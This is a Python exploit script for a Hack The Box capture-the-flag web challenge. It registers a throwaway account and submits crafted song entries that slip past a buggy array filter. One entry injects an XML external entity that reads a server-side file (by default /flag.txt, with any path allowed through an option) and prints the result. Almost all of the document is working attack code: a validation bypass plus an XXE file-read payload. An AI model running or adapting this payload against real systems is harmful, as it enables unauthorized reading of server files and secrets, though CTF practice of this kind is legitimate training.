#!/usr/bin/env python3
"""HTB XO XO CTF: bypass song validation and read /flag.txt via XXE.

Usage:
    python3 htb_xo_xo_xxe_exploit.py http://HOST:PORT

Static-analysis target: the uploaded web_xo_xo_exploit/index.js.
This program creates a disposable account, submits three song entries,
then retrieves the server's parsed results using its own account.
"""

import argparse
import secrets
import sys

import requests


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("base_url", help="Challenge instance root, e.g. http://HOST:PORT")
    parser.add_argument("--file", default="/flag.txt", help="Local target-side file (default: /flag.txt)")
    args = parser.parse_args()
    base = args.base_url.rstrip("/")

    session = requests.Session()
    session.trust_env = False
    username = "gg_" + secrets.token_hex(6)
    password = secrets.token_urlsafe(18)

    try:
        registration = session.post(
            base + "/api/register",
            json={"username": username, "password": password, "confirmPassword": password},
            timeout=15,
        )
        registration.raise_for_status()
        print(f"[+] Registered challenge account: {username}")

        # The first item is removed by the server's 'Drake' filter using
        # splice(i, 1), so the malicious item shifts into index 0 and is
        # skipped when the validation loop increments i to 1.
        injected_name = (
            'intro\"><!ENTITY xxe SYSTEM "file://'
            + args.file
            + '\"><!ENTITY pad "'
        )
        songs = [
            {"songName": "Filtered", "artist": "Drake", "thoughts": "Removed by filter"},
            {"songName": injected_name, "artist": "The Weeknd", "thoughts": "&xxe;"},
            {"songName": "Starboy", "artist": "The Weeknd", "thoughts": "Ordinary entry"},
        ]

        creation = session.post(base + "/createSongCards", json=songs, timeout=15)
        print("[+] Card creation HTTP status:", creation.status_code)
        print("[+] Server response:", creation.text[:500])
        creation.raise_for_status()

        result = session.get(base + "/api/songs", timeout=15)
        result.raise_for_status()
        cards = result.json()
        if not isinstance(cards, list):
            print("[!] Unexpected songs response:", str(cards)[:800])
            return 1
        print(f"[+] Fetched {len(cards)} card(s)")
        for n, card in enumerate(cards, start=1):
            fields = card.get("songData", {})
            print(f"\n--- Card {n}: {fields.get('songName', '')} ---")
            print("Artist:", fields.get("artist", ""))
            print("Thoughts:", fields.get("thoughts", ""))
        return 0
    except requests.RequestException as exc:
        print("[!] HTTP error:", exc, file=sys.stderr)
        return 1
    except ValueError as exc:
        print("[!] Malformed JSON response:", exc, file=sys.stderr)
        return 1


if __name__ == "__main__":
    sys.exit(main())